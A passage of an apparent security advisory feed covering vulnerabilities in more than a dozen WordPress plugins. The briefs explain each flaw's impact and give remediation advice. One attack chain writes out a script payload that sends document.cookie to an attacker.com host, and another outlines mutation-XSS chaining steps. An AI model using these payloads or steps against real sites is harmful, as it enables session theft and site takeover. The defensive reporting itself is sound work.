]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>plugin</category><category>rce</category><category>file-upload</category><category>cve-2026-111311</category></item><item><title>Stored Cross-Site Scripting in SureCart WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-surecart-xss/</link><pubDate>Fri, 16 Oct 2026 10:25:49 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-surecart-xss/</guid><description>The SureCart plugin for WordPress (&lt;= 4.9.4) is vulnerable to Stored Cross-Site Scripting (XSS) via the comment parameter, allowing unauthenticated attackers to execute arbitrary scripts in the context of victims viewing specific e-commerce pages.</description><content:encoded><![CDATA[<p>The SureCart plugin for WordPress (up to and including version 4.9.4) contains a critical Stored Cross-Site Scripting (XSS) vulnerability, identified as CVE-2026-109224. The vulnerability stems from insufficient input sanitization and output escaping on the 'comment' parameter. An unauthenticated attacker can supply a crafted malicious script payload within a comment field. The script becomes stored in the WordPress database and subsequently executes in the browser of any authenticated or unauthenticated user who visits a page containing the [sc_buy_button] shortcode. Execution is dependent on specific client-side conditions where the page does not contain an 'sc-checkout' element, which triggers an insecure innerHTML sink within the plugin's 'sc-cart-loader' component. This vulnerability poses a significant risk for session hijacking, unauthorized actions on behalf of administrators, or the injection of malicious content into e-commerce storefronts.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of a victim's browser. If the victim is an administrator, this can lead to full site compromise, unauthorized configuration changes, or the creation of new administrative accounts. The vulnerability affects any WordPress installation utilizing the SureCart plugin version 4.9.4 or earlier.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Update the SureCart WordPress plugin to the version containing the security fix (if available, consult the vendor for patches beyond 4.9.4). Monitor web server logs for HTTP POST requests directed at comment submission endpoints that contain script tags or suspicious JavaScript patterns, as these may indicate attempts to inject payloads into the database. Implement strict Content Security Policy (CSP) headers to mitigate the impact of XSS payloads by restricting the execution of inline scripts and unauthorized external resources.</p>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Stored XSS in User Registration PRO WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-87111/</link><pubDate>Fri, 16 Oct 2026 08:26:11 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-87111/</guid><description>An unauthenticated stored cross-site scripting vulnerability in the User Registration PRO premium WordPress plugin allows attackers to inject malicious scripts via the HTTP Referer header.</description><content:encoded><![CDATA[<p>The premium version of the User Registration PRO WordPress plugin (versions 6.2.9 and earlier) is vulnerable to stored cross-site scripting (XSS). The vulnerability stems from insufficient sanitization and escaping of the HTTP Referer header before it is processed and stored by the plugin. Because the nonce required to interact with the vulnerable AJAX endpoint is exposed in the source code of front-end pages, unauthenticated attackers can successfully conduct this attack. When an administrator or another user views the page where the malicious script was stored, the script executes within the context of their session, potentially leading to unauthorized actions or account compromise. This vulnerability is specific to the premium build of the plugin and does not affect the free version distributed via WordPress.org.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the browsers of users who visit the affected pages. This can lead to session hijacking, unauthorized administrative actions, or the redirection of users to malicious external domains. As this plugin is used for custom registration and profile management, the impact is heightened due to the potential for attackers to gain elevated privileges or exfiltrate sensitive user data.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the User Registration PRO plugin to the latest version, ensuring the patch for CVE-2026-87111 is applied immediately.</li>
<li>Implement or review Web Application Firewall (WAF) rules to detect and block abnormal or malformed HTTP Referer headers containing script tags or JavaScript event handlers.</li>
<li>Perform a security audit of the plugin configuration and logs to identify any unauthorized registration attempts or anomalous AJAX activity.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>xss</category><category>cve-2026-87111</category><category>vulnerability</category></item><item><title>Authentication Bypass in Vulnity Security Plugin for WordPress</title><link>https://feed.craftedsignal.io/briefs/2026-10-vulnity-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 08:26:05 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-vulnity-auth-bypass/</guid><description>An authentication bypass vulnerability (CVE-2026-75903) in the Vulnity Security plugin for WordPress allows unauthenticated attackers to retrieve credentials and gain administrative access via misconfigured Nginx path restrictions.</description><content:encoded><![CDATA[<p>The Vulnity Security plugin for WordPress (versions 1.4.3 and earlier) is susceptible to an authentication bypass vulnerability. The flaw exists on Nginx-based web server installations where the plugin generates a configuration snippet to secure the delegated-login pairing credential file. Due to an incorrect directory path in the server configuration, the credential file remains accessible to unauthorized users. An attacker can exploit this misconfiguration to retrieve the sensitive credentials, forge signed REST API requests, and authenticate as an administrative user. This vulnerability impacts the security of any WordPress installation utilizing the plugin's delegated-login feature on Nginx, potentially leading to a full site takeover.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows an unauthenticated remote attacker to gain administrative access to the affected WordPress installation. This enables the attacker to modify site content, install malicious plugins, exfiltrate database information, or pivot further into the underlying hosting infrastructure. As the vulnerability resides in a commonly used security-focused plugin, it poses a significant risk to the integrity and confidentiality of targeted WordPress deployments.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the Vulnity Security plugin to a version addressing CVE-2026-75903.</li>
<li>Audit Nginx configuration files on WordPress servers for any directives granting read access to the directory containing the plugin's delegated-login pairing credential file.</li>
<li>Implement access control restrictions in the Nginx configuration to deny all external requests to the identified credential storage path.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>authentication-bypass</category><category>cve-2026-75903</category></item><item><title>Stored Cross-Site Scripting in WPConsent WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-wpconsent-xss/</link><pubDate>Fri, 16 Oct 2026 08:25:56 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-wpconsent-xss/</guid><description>The WPConsent WordPress plugin up to version 1.1.9 is vulnerable to stored Cross-Site Scripting (XSS) via mXSS, allowing unauthenticated attackers to execute arbitrary scripts in a user's browser session.</description><content:encoded><![CDATA[<p>The WPConsent - Cookie Banner &amp; Cookie Consent for Privacy Compliance (GDPR / CCPA / EU Compliance Cookie Notice) plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in all versions up to, and including, 1.1.9. The vulnerability arises due to insufficient input sanitization and output escaping when the &quot;Script Blocking&quot; feature is active. An unauthenticated attacker can exploit this via mutation XSS (mXSS), specifically by leveraging the plugin's Simple HTML DOM Parser to manipulate how content is rendered. This flaw allows an attacker to inject arbitrary web scripts into WordPress pages, which then execute when an unsuspecting user visits the affected page. The exploit requires chaining two specific comment submissions and using a debug parameter to verify injection offsets, posing a significant risk to site administrators and users.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker enables or identifies a target WordPress site using the vulnerable WPConsent plugin with the &quot;Script Blocking&quot; feature enabled.</li>
<li>Attacker performs an unauthenticated request to the site with the parameter <code>wpconsent_debug=1</code> to retrieve the deterministic <code>___noise___</code> restoration key and determine the current injection offset.</li>
<li>Attacker submits the first comment containing malicious event-handler syntax (e.g., <code>onmouseover</code>) embedded inside a permitted <code>&lt;code&gt;</code> HTML element.</li>
<li>Attacker submits a second, coordinated comment containing the required <code>___noise___</code> restoration key placed within an allowed <code>&lt;abbr title=&quot;&quot;&gt;</code> attribute.</li>
<li>The plugin's Simple HTML DOM Parser processes these comments, causing the stored payloads to mutate and break out of the intended HTML tag structure.</li>
<li>The injected script is successfully stored on the server side as part of the comment section of a post or page.</li>
<li>A legitimate user or administrator visits the page containing the malicious comments.</li>
<li>The browser renders the mutated HTML, triggering the execution of the attacker's script in the context of the user's browser session.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of a victim's browser session. This can lead to the theft of session cookies, administrative account takeover, unauthorized modification of site content, or the redirection of users to malicious external domains. As this plugin is designed for privacy compliance, an attacker could potentially weaponize it to target users who are already providing consent, leading to significant privacy and security compromises across the affected WordPress installation.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade the WPConsent plugin to the latest version immediately to remediate the insufficient sanitization of comment content.</li>
<li>Disable the &quot;Script Blocking&quot; feature within the WPConsent plugin settings until a patch is applied if immediate updating is not possible.</li>
<li>Monitor web server access logs for anomalous requests containing the <code>wpconsent_debug=1</code> parameter, as this is a precursor for the attack chain.</li>
<li>Review comment moderation logs for suspicious activity, particularly multiple coordinated comments from the same source.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>xss</category><category>wordpress</category><category>web-application</category><category>cms</category></item><item><title>Arbitrary File Upload Vulnerability in YaySMTP WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-92553/</link><pubDate>Fri, 16 Oct 2026 08:25:47 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-92553/</guid><description>The YaySMTP WordPress plugin (&lt;= 2.7.7) is vulnerable to arbitrary file upload due to insufficient validation in the putFile function, allowing authenticated users to achieve remote code execution.</description><content:encoded><![CDATA[<p>The YaySMTP - WP Mail SMTP with Email Logs, Tracking &amp; Reports plugin for WordPress (versions up to and including 2.7.7) contains a critical arbitrary file upload vulnerability within its putFile function. The flaw stems from improper file type validation, as the plugin fails to utilize an allow-list, perform MIME-type checking, or sanitize executable file extensions via the existing sanitize_file_name() function. While the developer attempted to implement a security guard via a .htaccess file generated by writeGuards(), this mechanism is ineffective on nginx servers and Apache configurations where AllowOverride is set to None. Consequently, an authenticated attacker with subscriber-level access or higher can upload arbitrary files, including web shells, to the WordPress environment, resulting in full remote code execution (RCE). The vulnerability is tracked as CVE-2026-92553.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows authenticated users with minimal privileges to gain complete control over the affected WordPress installation. This impact is significant for environments running on nginx or restricted Apache configurations, as the intended security measures are bypassed. Unauthorized code execution can lead to data exfiltration, defacement, or persistent access to the underlying web server infrastructure.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the YaySMTP plugin to the latest version that patches CVE-2026-92553.</li>
<li>Audit web server configurations to ensure that file upload directories are prevented from executing scripts by default.</li>
<li>Monitor WordPress authentication logs for suspicious subscriber-level activity or unusual file creation patterns within the plugin's upload directories.</li>
<li>Configure security policies to disallow direct execution of uploaded content in directories managed by plugins.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Authenticated Command Injection in WP Photo Album Plus</title><link>https://feed.craftedsignal.io/briefs/2026-10-wp-photo-album-plus-rce/</link><pubDate>Fri, 16 Oct 2026 08:25:39 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-wp-photo-album-plus-rce/</guid><description>Authenticated users with specific plugin privileges can achieve remote code execution in WP Photo Album Plus via command injection in the update-photo AJAX action.</description><content:encoded><![CDATA[<p>The WP Photo Album Plus plugin for WordPress contains an authenticated command injection vulnerability (CVE-2026-92115) affecting all versions up to and including 9.3.02.002. The flaw exists within the wppa_image_magick_a() function, which fails to apply proper shell escaping when processing the 'value' parameter of the 'update-photo' AJAX action. Instead of using escapeshellarg(), the application concatenates attacker-supplied input directly into an ImageMagick command string executed via the exec() function. Furthermore, the wppa_decode() utility restores percent-encoded shell metacharacters, allowing payloads to break out of the intended argument context. Any user assigned the wppa_upload capability, which can be granted to lower-privileged roles by site administrators, can exploit this flaw to run OS commands as the web-server process. This impact is contingent on the server having ImageMagick installed and active.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows authenticated attackers to gain remote code execution on the underlying server. Depending on server configuration, this may lead to full site compromise, lateral movement within the network, or unauthorized data access. The breadth of potential attackers is increased because the 'wppa_upload' capability is not restricted solely to WordPress administrators.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the WP Photo Album Plus plugin to a version released after 9.3.02.002 immediately to remediate CVE-2026-92115.</li>
<li>Review WordPress user roles and capabilities to identify accounts possessing the 'wppa_upload' privilege and revoke access for non-essential users.</li>
<li>Monitor web server logs for HTTP POST requests to the 'update-photo' AJAX action containing unusual characters such as semicolons, pipes, or ampersands in the 'value' parameter.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Stored XSS in CP Multi View Events Calendar Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-110701/</link><pubDate>Fri, 16 Oct 2026 08:25:30 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-110701/</guid><description>The CP Multi View Events Calendar plugin for WordPress contains a Stored Cross-Site Scripting vulnerability allowing unauthenticated attackers to inject arbitrary web scripts via the CalendarTitle parameter.</description><content:encoded><![CDATA[<p>The CP Multi View Events Calendar plugin for WordPress, in all versions up to and including 1.4.42, is susceptible to a Stored Cross-Site Scripting (XSS) vulnerability identified as CVE-2026-110701. The vulnerability exists due to insufficient input sanitization and output escaping within the CalendarTitle parameter. Attackers can leverage this flaw to inject malicious scripts into calendar views. For successful exploitation, an administrator must have explicitly enabled the 'Allow edition in frontend?' setting, which inadvertently exposes an unauthenticated add endpoint and a publicly accessible nonce to the internet. If exploited, arbitrary JavaScript will execute in the browser of any user viewing the compromised calendar page, potentially leading to session hijacking or unauthorized administrative actions.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of victim browsers. This can lead to the theft of session cookies, administrative account takeover, or the redirection of users to malicious websites. Organizations utilizing this plugin with front-end editing enabled are at high risk of site-wide compromise if an attacker targets high-privileged users.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Update the CP Multi View Events Calendar plugin to the latest version available beyond 1.4.42 to address the lack of input sanitization. In the interim, disable the 'Allow edition in frontend?' feature in the plugin settings to prevent access to the vulnerable endpoint and mitigate the risk of unauthenticated script injection.</p>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Stored Cross-Site Scripting in HivePress WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-hivepress-xss/</link><pubDate>Fri, 16 Oct 2026 08:25:23 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-hivepress-xss/</guid><description>An unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in HivePress plugin versions 1.7.32 and earlier allows attackers to inject malicious scripts into attribute fields.</description><content:encoded><![CDATA[<p>The HivePress - Business Directory, Listings &amp; Classified Ads Plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in all versions up to and including 1.7.32. The vulnerability stems from insufficient input sanitization and output escaping when processing custom user attribute slugs (e.g., hp_custom_link). An unauthenticated attacker can exploit this by injecting arbitrary web scripts into user attribute values. Successful exploitation depends on an administrator having configured a custom user attribute where the display_format template includes the %value% token within an href, src, or style attribute context. When an unsuspecting user or administrator views a page where this attribute is rendered, the injected script executes within the victim's session.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows unauthenticated attackers to execute arbitrary JavaScript in the context of a user's browser session. If an administrator views an injected page, the attacker could potentially perform unauthorized administrative actions, capture session cookies, or redirect users to malicious domains. This affects any WordPress installation utilizing the HivePress plugin for business directories or classified ads with custom user attributes enabled.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade the HivePress plugin to the latest version immediately to remediate the sanitization flaw (CVE-2026-109193).</li>
<li>Audit current HivePress custom user attribute configurations to identify if the %value% token is used within href, src, or style attributes.</li>
<li>Implement a strict Content Security Policy (CSP) to mitigate the impact of potential XSS attacks by restricting the sources from which scripts can be loaded and executed.</li>
<li>Use web application firewalls (WAF) to inspect incoming traffic for suspicious script tags or JavaScript event handlers injected into POST requests targeting attribute update endpoints.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>xss</category><category>web-application</category></item><item><title>Stored Cross-Site Scripting in TranslatePress WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-translatepress-xss/</link><pubDate>Fri, 16 Oct 2026 08:25:15 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-translatepress-xss/</guid><description>The TranslatePress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the comment parameter, allowing unauthenticated attackers to execute arbitrary web scripts.</description><content:encoded><![CDATA[<p>The TranslatePress - Translate Multilingual sites with AI Translation plugin for WordPress is affected by a Stored Cross-Site Scripting (XSS) vulnerability, tracked as CVE-2026-107768. All versions up to and including 3.3.7 are susceptible to this flaw, which stems from insufficient input sanitization and output escaping within the comment parameter. An unauthenticated attacker can leverage this vulnerability to inject arbitrary JavaScript into comments. This malicious script subsequently executes in the browser of any user - including administrators - who views the page where the injected comment is displayed. The vulnerability is highly relevant to defenders as it requires the site to have a secondary language configured and allow unmoderated comment submissions, which aligns with common configurations for multilingual WordPress deployments. Successful exploitation could lead to administrative account takeover via session hijacking or the redirection of site visitors to malicious domains.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker identifies a WordPress site running a vulnerable version of TranslatePress (&lt;= 3.3.7).</li>
<li>Attacker verifies the target site has a secondary language enabled and allows unmoderated comment submissions.</li>
<li>Attacker crafts a malicious payload containing JavaScript, such as '&lt;script&gt;fetch('https://attacker.com/steal?c='+document.cookie)&lt;/script&gt;'.</li>
<li>Attacker submits the payload through the standard WordPress comment form on a public-facing post.</li>
<li>The TranslatePress plugin processes the comment, failing to sanitize the malicious script within the comment parameter.</li>
<li>The WordPress database stores the unsanitized script as part of the comment content.</li>
<li>A legitimate user, such as an administrator, visits the affected page where the comment is rendered.</li>
<li>The user's browser executes the stored JavaScript, leading to potential session theft or unauthorized actions on behalf of the user.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-107768 allows for the execution of arbitrary JavaScript in the context of a victim's session. Depending on the target's role, this can result in the full compromise of user accounts, theft of sensitive session cookies, or the defacement of the affected website. Because the payload is stored persistently, it may affect any user visiting the page, increasing the overall risk to the organization's user base and administrative environment.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Update the TranslatePress plugin to the latest available version (beyond 3.3.7) immediately to remediate the lack of input sanitization.</li>
<li>Monitor web server logs for HTTP POST requests directed at comment submission endpoints that contain script tags or suspicious JavaScript patterns.</li>
<li>Enforce comment moderation policies to prevent unauthenticated users from posting content directly to public-facing pages without verification.</li>
<li>Implement a strict Content Security Policy (CSP) to restrict the execution of unauthorized scripts within the browser context.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>CVE-2026-104932: PHP Object Injection in Search Regex WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-search-regex-poi/</link><pubDate>Fri, 16 Oct 2026 08:25:05 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-search-regex-poi/</guid><description>The Search Regex WordPress plugin version 3.5 is vulnerable to PHP Object Injection, allowing authenticated users with subscriber access to achieve remote code execution via a POP chain.</description><content:encoded><![CDATA[<p>CVE-2026-104932 is a critical security vulnerability found in the Search Regex plugin for WordPress, specifically affecting version 3.5. The vulnerability resides within the 'replace_all' function, which performs insecure deserialization of untrusted input provided by a user. Because the plugin does not adequately validate or sanitize the data before deserializing it, an authenticated attacker with at least subscriber-level permissions can inject a malicious PHP object. The presence of a property-oriented programming (POP) chain within the application context enables the attacker to leverage this injection to execute arbitrary code on the underlying server. Given that subscriber-level accounts are often easily obtainable via registration or compromise, this vulnerability presents a significant risk for privilege escalation and full site compromise.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-104932 results in remote code execution (RCE) on the WordPress server. This allows attackers to gain full control over the compromised site, potentially leading to data exfiltration, the deployment of backdoors, or lateral movement into the hosting infrastructure. The vulnerability affects all WordPress installations utilizing version 3.5 of the Search Regex plugin.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritize the immediate update of the Search Regex plugin. If an update addressing this vulnerability is not available, disable the plugin until a patch is applied.</p>
<ul>
<li>Update the Search Regex plugin to the latest version that remediates CVE-2026-104932 immediately.</li>
<li>Review web server logs for suspicious POST requests targeting the Search Regex plugin functionality, specifically monitoring for unusual serialized data strings in application parameters.</li>
<li>Audit user accounts to identify and disable unauthorized or suspicious subscriber-level accounts that could be used as an initial access vector for this vulnerability.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-vulnerability</category><category>wordpress</category><category>php-injection</category></item><item><title>PHP Object Injection in Sunshine Photo Cart WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-sunshine-photo-cart-injection/</link><pubDate>Fri, 16 Oct 2026 08:24:57 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-sunshine-photo-cart-injection/</guid><description>The Sunshine Photo Cart plugin for WordPress is vulnerable to unauthenticated PHP object injection in versions up to 3.7.4, which can be leveraged for RCE if secondary plugins provide a viable POP chain.</description><content:encoded><![CDATA[<p>The Sunshine Photo Cart - Client Photo Gallery &amp; Photo Proofing for Photographers plugin for WordPress is vulnerable to PHP Object Injection (CVE-2026-104730) in all versions up to and including 3.7.4. The vulnerability arises from the insecure deserialization of untrusted input. While the plugin itself does not contain a Property-Oriented Programming (POP) chain required for full exploitation, the vulnerability allows unauthenticated attackers to supply a malicious serialized object via the public favorites page.</p>
<p>If the WordPress environment contains other plugins or themes that include a POP chain, this vulnerability can be successfully leveraged to achieve remote code execution, perform arbitrary file deletions, or retrieve sensitive data. Attackers can trigger the deserialization process by interacting with specific image viewing endpoints associated with non-viewable or private galleries. This vulnerability represents a significant risk for WordPress sites hosting multiple plugins where cross-plugin POP chain exploitation is possible.</p>
<h2 id="impact">Impact</h2>
<p>The impact of this vulnerability is contingent upon the existence of secondary POP chains within the target's WordPress installation. If such a chain exists, the vulnerability allows for unauthenticated remote code execution, unauthorized access to sensitive data, and potential system compromise. Given the prevalence of plugin-heavy WordPress environments, many installations are at risk of being exploited if a viable gadget chain is discovered in commonly deployed software.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the Sunshine Photo Cart - Client Photo Gallery &amp; Photo Proofing for Photographers plugin to the latest available version (beyond 3.7.4) to address the insecure deserialization logic.</li>
<li>Audit installed WordPress plugins and themes for known POP chain gadgets, particularly those known to be utilized in object injection attacks.</li>
<li>Deploy web application firewall (WAF) rules to block POST requests containing serialized PHP object strings (e.g., 'O:[0-9]+:&quot;') directed at public-facing plugin endpoints until the site can be patched.</li>
<li>Monitor web server logs for high volumes of 403 or 500 errors originating from unauthenticated users accessing private or non-viewable gallery images, which may indicate exploitation attempts.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application</category><category>wordpress</category><category>injection</category></item><item><title>Stored Cross-Site Scripting in Schema &amp; Structured Data for WP &amp; AMP</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-96570/</link><pubDate>Fri, 16 Oct 2026 06:29:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-96570/</guid><description>The Schema &amp; Structured Data for WP &amp; AMP plugin is vulnerable to unauthenticated stored XSS via the 'saswp_review_text' parameter due to insufficient input sanitization and an exposed, ineffective nonce.</description><content:encoded><![CDATA[<p>The Schema &amp; Structured Data for WP &amp; AMP plugin for WordPress (all versions up to and including 1.67) contains a critical security flaw involving insufficient input sanitization and output escaping. Specifically, the 'saswp_review_text' parameter fails to properly filter user-supplied content, allowing unauthenticated attackers to perform stored Cross-Site Scripting (XSS) attacks. The security mechanism intended to prevent unauthorized submissions - a nonce - is rendered ineffective because it is publicly printed within the HTML of the [saswp-reviews-form] shortcode. An attacker can scrape this nonce from the front-end of a site and use it to successfully submit malicious script payloads, which will subsequently execute in the browser of any user or administrator who views the compromised review content.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of a victim's session. This could lead to account takeover, unauthorized actions performed on behalf of authenticated users, or the redirection of site visitors to malicious domains. The vulnerability affects any WordPress site utilizing the Schema &amp; Structured Data for WP &amp; AMP plugin version 1.67 or earlier.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade to the latest version of the Schema &amp; Structured Data for WP &amp; AMP plugin that addresses the sanitization and nonce-exposure vulnerabilities immediately.</li>
<li>Audit existing reviews for injected script tags using server-side logs or database inspection if the site was publicly accessible during the period of vulnerability.</li>
<li>Deploy web application firewall (WAF) rules to detect and block suspicious HTTP POST requests containing script tags or common XSS payloads directed at the review submission endpoint.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Stored DOM-Based Cross-Site Scripting in Opti-Behavior Plugin for WordPress</title><link>https://feed.craftedsignal.io/briefs/2026-10-opti-behavior-xss/</link><pubDate>Fri, 16 Oct 2026 06:28:51 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-opti-behavior-xss/</guid><description>An unauthenticated stored DOM-based XSS vulnerability (CVE-2026-95686) in the Opti-Behavior plugin for WordPress allows attackers to inject malicious scripts via a publicly accessible nonce-protected ingest endpoint.</description><content:encoded><![CDATA[<p>The Opti-Behavior plugin for WordPress is vulnerable to Stored DOM-based Cross-Site Scripting (XSS) due to improper input sanitization and output escaping. Affecting all versions up to and including 1.9.2.1, the vulnerability stems from the 'targetUrl' parameter within the plugin's data ingestion process. The plugin utilizes a nonce for authentication, but this nonce is publicly exposed to every anonymous visitor via the 'optiBehaviorHeatmapConfig.nonce' variable on tracked pages. Consequently, an unauthenticated attacker can retrieve this nonce and perform unauthorized write operations to the ingest endpoint, injecting arbitrary JavaScript payloads. When these injected pages are accessed by other users, including administrators, the malicious script executes within their browser context, potentially leading to session hijacking, credential theft, or unauthorized actions performed on behalf of the victim.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of any user who views an infected page. This can result in session theft, unauthorized modifications to site content, or administrative account takeover if an administrator visits the compromised page. The vulnerability affects all users of the Opti-Behavior plugin running version 1.9.2.1 or earlier, which is widely used for website analytics and heatmap generation.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the Opti-Behavior plugin to the latest version as provided by the vendor.</li>
<li>Audit logs for suspicious POST requests to plugin-specific ingest endpoints containing script tags or event handlers in the 'targetUrl' parameter.</li>
<li>Implement strict Content Security Policy (CSP) headers to mitigate the impact of XSS attacks by restricting the sources from which scripts can be executed.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Stored Cross-Site Scripting in Hide My WP Ghost WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-wp-ghost-xss/</link><pubDate>Fri, 16 Oct 2026 06:28:44 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-wp-ghost-xss/</guid><description>Unauthenticated attackers can exploit insufficient input sanitization in the Hide My WP Ghost plugin to inject persistent malicious scripts into WordPress pages.</description><content:encoded><![CDATA[<p>The Hide My WP Ghost (Security &amp; Firewall) plugin for WordPress is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists within the 'replaceHeadersAndTags' function, which fails to properly sanitize user-supplied input or escape output before rendering it on the page. This vulnerability affects all versions of the plugin up to, and including, 7.0.12. An unauthenticated attacker can leverage this weakness to inject arbitrary web scripts into the site's content. When an unsuspecting user navigates to the compromised page or interacts with the injected link, the malicious script executes within the user's browser context. This can lead to session hijacking, unauthorized actions performed on behalf of the user, or redirection to malicious domains. Organizations utilizing this plugin should prioritize updating to the latest secure version once available.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows unauthenticated attackers to execute arbitrary JavaScript in the context of other users, including site administrators. Successful exploitation can result in complete account takeover, sensitive data exfiltration from the WordPress dashboard, or the injection of malicious content designed to infect site visitors. This poses a significant risk to the integrity and confidentiality of the WordPress installation and its user base.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Audit WordPress site access logs for suspicious HTTP POST requests directed toward plugin-specific endpoints.</li>
<li>Implement a Web Application Firewall (WAF) to block requests containing common XSS payloads, such as script tags or event handlers, targeting known vulnerable plugin patterns.</li>
<li>Upgrade the Hide My WP Ghost plugin to a version later than 7.0.12 immediately upon vendor release.</li>
<li>Enforce Content Security Policy (CSP) headers to restrict the sources from which scripts can be executed, mitigating the impact of successful XSS injections.</li>
</ul>
